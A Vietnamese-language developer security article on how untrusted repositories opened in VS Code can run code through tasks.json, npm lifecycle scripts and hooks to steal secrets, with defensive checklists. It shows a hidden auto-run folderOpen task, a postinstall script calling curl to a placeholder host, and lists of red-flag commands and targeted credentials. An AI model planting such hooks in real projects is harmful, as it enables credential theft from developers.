Bảo mật phát triển

Mở repo lạ trong VS Code có thể nguy hiểm: `.vscode/tasks.json`, npm scripts và rủi ro mất secret

Bài viết cảnh báo lập trình viên về rủi ro khi mở một repository lạ trong VS Code. Các file cấu hình như `.vscode/tasks.json`, script trong `package.json`, hook Git và workflow CI/CD có thể tự thực thi và đánh cắp secret nếu được tin tưởng mà không kiểm tra.

Xuất bản: 16 thg 6, 2026Cập nhật: 16 thg 6, 2026Thời gian đọc: 7 minLượt xem: 4
VS CodeWorkspace TrustRestricted Modetasks.jsonnpm scriptssupply chain securitydeveloper secret

💡Điểm chính của bài viết

  • Bài viết cảnh báo lập trình viên về rủi ro khi mở một repository lạ trong VS Code.
  • Các file cấu hình như `.vscode/tasks.json`, script trong `package.json`, hook Git và workflow CI/CD có thể tự thực thi và đánh cắp secret nếu được tin tưởng mà không kiểm tra.

Tóm tắt chủ đề

Chủ đề của video là một cảnh báo dành cho lập trình viên: một repository lạ không chỉ là vài file văn bản để đọc. Nó có thể chứa cấu hình editor, task tự chạy, script trong package.json, hook Git, file shell, Dockerfile hoặc workflow CI/CD. Khi bạn mở repo đó bằng VS Code, bấm Trust, chạy npm install, chạy npm run dev, hoặc để extension tự phân tích project, bạn có thể cho phép code trong repo chạy trên máy thật.

Điểm cần hiểu là: repo lạ phải được xem như một phần mềm chưa kiểm tra, không phải một tài liệu vô hại. Trước khi “trust” workspace hoặc chạy lệnh, cần đọc các file có khả năng thực thi.

Ảnh minh họa có trích dẫn nguồn

VS Code Restricted Mode banner
VS Code Restricted Mode banner

Nguồn ảnh: Visual Studio Code Documentation — “Workspace Trust / Restricted Mode banner”. Ảnh PNG chính thức từ Microsoft/VS Code. URL ảnh trực tiếp: https://code.visualstudio.com/assets/docs/editing/workspaces/workspace-trust/restricted-mode-banner.png. Trang nguồn: https://code.visualstudio.com/docs/editing/workspaces/workspace-trust.

Ảnh này minh họa trạng thái Restricted Mode. Đây là chế độ VS Code dùng để giới hạn tự động thực thi code khi bạn mở một workspace chưa tin cậy.

VS Code task trust dialog
VS Code task trust dialog

Nguồn ảnh: Visual Studio Code Documentation — “Workspace Trust Restricted Mode tasks dialog”. Ảnh PNG chính thức từ Microsoft/VS Code. URL ảnh trực tiếp: https://code.visualstudio.com/assets/docs/editing/workspaces/workspace-trust/restricted-mode-tasks-dialog.png. Trang nguồn: https://code.visualstudio.com/docs/editing/workspaces/workspace-trust.

Ảnh này cho thấy VS Code cảnh báo rằng việc liệt kê/chạy task có thể yêu cầu thực thi file trong workspace. Đây là lý do không nên bấm Trust Folder & Continue với repo không rõ nguồn.

VS Code detected task picker
VS Code detected task picker

Nguồn ảnh: Visual Studio Code Documentation — “TypeScript Build Task”. Ảnh PNG chính thức từ Microsoft/VS Code. URL ảnh trực tiếp: https://code.visualstudio.com/assets/docs/debugtest/tasks/typescript-build.png. Trang nguồn: https://code.visualstudio.com/docs/debugtest/tasks.

Ảnh này minh họa task trong VS Code. Task có thể phục vụ build/test hợp pháp, nhưng với repo độc hại, task cũng có thể bị lạm dụng để chạy shell command.

VS Code configure task runner
VS Code configure task runner

Nguồn ảnh: Visual Studio Code Documentation — “Configure Task Runner”. Ảnh PNG chính thức từ Microsoft/VS Code. URL ảnh trực tiếp: https://code.visualstudio.com/assets/docs/debugtest/tasks/configure-task-runner.png. Trang nguồn: https://code.visualstudio.com/docs/debugtest/tasks.

Ảnh này minh họa việc cấu hình task runner trong VS Code. Khi repo có file .vscode/tasks.json, cấu hình task trở thành một phần của workspace và có thể đi kèm source code.

Vì sao mở repo lạ trong VS Code có thể nguy hiểm?

VS Code có tính năng Workspace Trust vì editor và extension có thể thực thi code từ project để cung cấp các chức năng như task, debug, terminal, build/test, language server hoặc AI agent. Tài liệu chính thức của VS Code nói Workspace Trust cho phép bạn quyết định liệu code trong thư mục project có thể được VS Code và extensions thực thi mà không cần phê duyệt rõ ràng hay không. Tài liệu cũng nói Restricted Mode cố gắng ngăn tự động thực thi code bằng cách vô hiệu hóa hoặc giới hạn nhiều tính năng như AI agents, terminal, tasks, debugging, workspace settings và extensions.

Nguồn: https://code.visualstudio.com/docs/editing/workspaces/workspace-trust

Điều này không có nghĩa VS Code là công cụ nguy hiểm. Vấn đề nằm ở hành vi tin tưởng workspace chưa kiểm tra. Khi bạn bấm Trust, bạn đang nói với VS Code rằng project này đủ an toàn để cho phép nhiều tính năng có khả năng chạy code.

.vscode/tasks.json cần được kiểm tra trước

Trong VS Code, task riêng cho workspace hoặc folder được cấu hình từ file tasks.json trong thư mục .vscode. Tài liệu chính thức nói tasks có thể được cấu hình để chạy script và khởi động process, giúp dùng các công cụ bên ngoài ngay trong VS Code.

Nguồn: https://code.visualstudio.com/docs/debugtest/tasks

Một file .vscode/tasks.json bình thường có thể phục vụ build, lint, test hoặc chạy dev server. Nhưng trong repo độc hại, nó có thể bị lạm dụng để gọi shell command, PowerShell, Bash, Node.js, Python, curl/wget, hoặc chạy script ẩn.

Ví dụ dấu hiệu cần kiểm tra:

JSON
{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "setup",
      "type": "shell",
      "command": "node scripts/setup.js",
      "runOptions": {
        "runOn": "folderOpen"
      },
      "presentation": {
        "reveal": "never"
      }
    }
  ]
}

Các dấu hiệu đáng chú ý gồm type: "shell", command, runOptions.runOn, lệnh gọi node -e, powershell -enc, curl | sh, wget | bash, eval, new Function, chuỗi base64 hoặc URL lạ. Những dấu hiệu này không tự động kết luận là mã độc, nhưng đủ để cần kiểm tra kỹ.

npm scripts cũng có thể là điểm kích hoạt

Trong hệ sinh thái Node.js, package.json không chỉ chứa danh sách dependency. Nó có thể chứa scripts và lifecycle scripts. Tài liệu npm nói trường scripts hỗ trợ các script tùy ý, các lệnh pre/post tương ứng, và nhiều lifecycle events như prepare, prepack, postpack, install, postinstall.

Nguồn: https://docs.npmjs.com/cli/using-npm/scripts/

Điểm quan trọng là một số script có thể chạy trong lúc cài package hoặc chuẩn bị package. Vì vậy, với repo lạ, npm install không nên được coi là thao tác vô hại. Trước khi chạy, hãy đọc kỹ package.json, scripts/, file lock, dependency lạ và mọi script có thể được gọi trong quá trình cài đặt.

Ví dụ script đáng nghi:

JSON
{
  "scripts": {
    "prepare": "node ./scripts/collect.js",
    "postinstall": "node -e \"require('child_process').exec('curl https://example.invalid/x')\""
  }
}

Kẻ tấn công thường muốn lấy gì?

Máy của lập trình viên thường có nhiều secret hơn máy người dùng thông thường. Các mục thường bị nhắm tới gồm:

  • Biến môi trường như OPENAI_API_KEY, GITHUB_TOKEN, AWS_ACCESS_KEY_ID, DATABASE_URL.
  • File .env trong project.
  • SSH key trong ~/.ssh.
  • npm token, GitHub token, Docker credential, Kubernetes config.
  • Cookie trình duyệt hoặc session token nếu máy đã nhiễm malware.
  • Cloud credential dùng trong local dev hoặc CI/CD.

Một đoạn script độc hại có thể đọc process.env, duyệt thư mục người dùng, tìm file .env, rồi gửi dữ liệu đến máy chủ ngoài. Với developer, thiệt hại có thể vượt xa một máy cá nhân, vì token bị lộ có thể mở đường vào repository, registry package, server staging/production hoặc tài khoản cloud.

Liên hệ với supply-chain security

Đây là một dạng rủi ro chuỗi cung ứng phần mềm. CISA đã nhiều lần cảnh báo rằng CI/CD, workflow, tool phát triển, package registry và extension có thể trở thành bề mặt tấn công. Với các chiến dịch nhắm vào developer, mục tiêu không nhất thiết là khai thác lỗ hổng phần mềm truyền thống, mà là lợi dụng niềm tin của lập trình viên vào repo, dependency, extension hoặc workflow.

Nguồn tham khảo: https://www.cisa.gov/news-events/alerts/2026/05/28/supply-chain-compromises-impact-nx-console-and-github-repositories

Checklist trước khi mở/trust/chạy repo lạ

Trước khi bấm Trust trong VS Code, hãy xem repo ở chế độ hạn chế hoặc đọc file trực tiếp. Kiểm tra ít nhất các vị trí sau:

Ví dụ

.vscode/tasks.json .vscode/settings.json .vscode/launch.json package.json package-lock.json / pnpm-lock.yaml / yarn.lock scripts/ .bin/ postinstall / prepare / preinstall / install Makefile Dockerfile compose.yml / docker-compose.yml .github/workflows/ .husky/ .git/hooks/ nếu có trong bản tải về .env.example và mọi đoạn code đọc .env

Tìm các dấu hiệu như gọi URL lạ, obfuscation, base64, eval, new Function, child_process.exec, spawn, PowerShell encoded command, curl | sh, đọc ~/.ssh, đọc process.env, hoặc gửi dữ liệu ra ngoài.

Cách mở repo lạ an toàn hơn

Cách an toàn hơn là mở repo bằng VS Code ở Restricted Mode, chưa bấm Trust ngay. Đọc package.json, .vscode, script và workflow trước. Nếu cần chạy thử, nên dùng môi trường cô lập: container, VM, máy phụ hoặc user account riêng không chứa secret. Không chạy repo lạ trong cùng môi trường có API key thật, SSH key thật, cloud credential thật hoặc cookie tài khoản quan trọng.

Với Node.js, có thể bắt đầu bằng đọc scripts thay vì chạy install ngay:

BASH
cat package.json
npm pkg get scripts

Khi cần cài package cho repo chưa tin cậy, cân nhắc môi trường disposable. Không đặt secret thật trong môi trường đó. Nếu bắt buộc chạy, theo dõi network, đọc script trước và xóa credential không cần thiết.

Kết luận

Thông điệp chính của chủ đề này không phải là “đừng bao giờ dùng repo open-source”. Thông điệp đúng hơn là: đừng tin tưởng hoặc chạy repo lạ như thể nó chỉ là văn bản. Với lập trình viên, repo có thể chứa điểm kích hoạt thực thi code ở nhiều lớp: VS Code task, npm lifecycle script, shell script, workflow CI/CD, extension và cấu hình workspace.

Thói quen an toàn là: mở ở Restricted Mode, đọc file kích hoạt trước, không chạy npm install hoặc npm run khi chưa hiểu scripts, và tách môi trường thử nghiệm khỏi môi trường có secret thật.

Nguồn tham khảo

  1. Visual Studio Code Documentation — Workspace Trust: https://code.visualstudio.com/docs/editing/workspaces/workspace-trust
  2. Visual Studio Code Documentation — Tasks: https://code.visualstudio.com/docs/debugtest/tasks
  3. npm Docs — Scripts: https://docs.npmjs.com/cli/using-npm/scripts/
  4. CISA — Supply Chain Compromises Impact Nx Console and GitHub Repositories: https://www.cisa.gov/news-events/alerts/2026/05/28/supply-chain-compromises-impact-nx-console-and-github-repositories
PR

Được biên soạn bởi PixelRouter Editorial Team

Chúng tôi cung cấp các bài viết chuyên sâu và chính xác về hạ tầng AI, bảo mật API, quản lý tài chính đám mây và tối ưu hóa hệ thống cho nhà phát triển.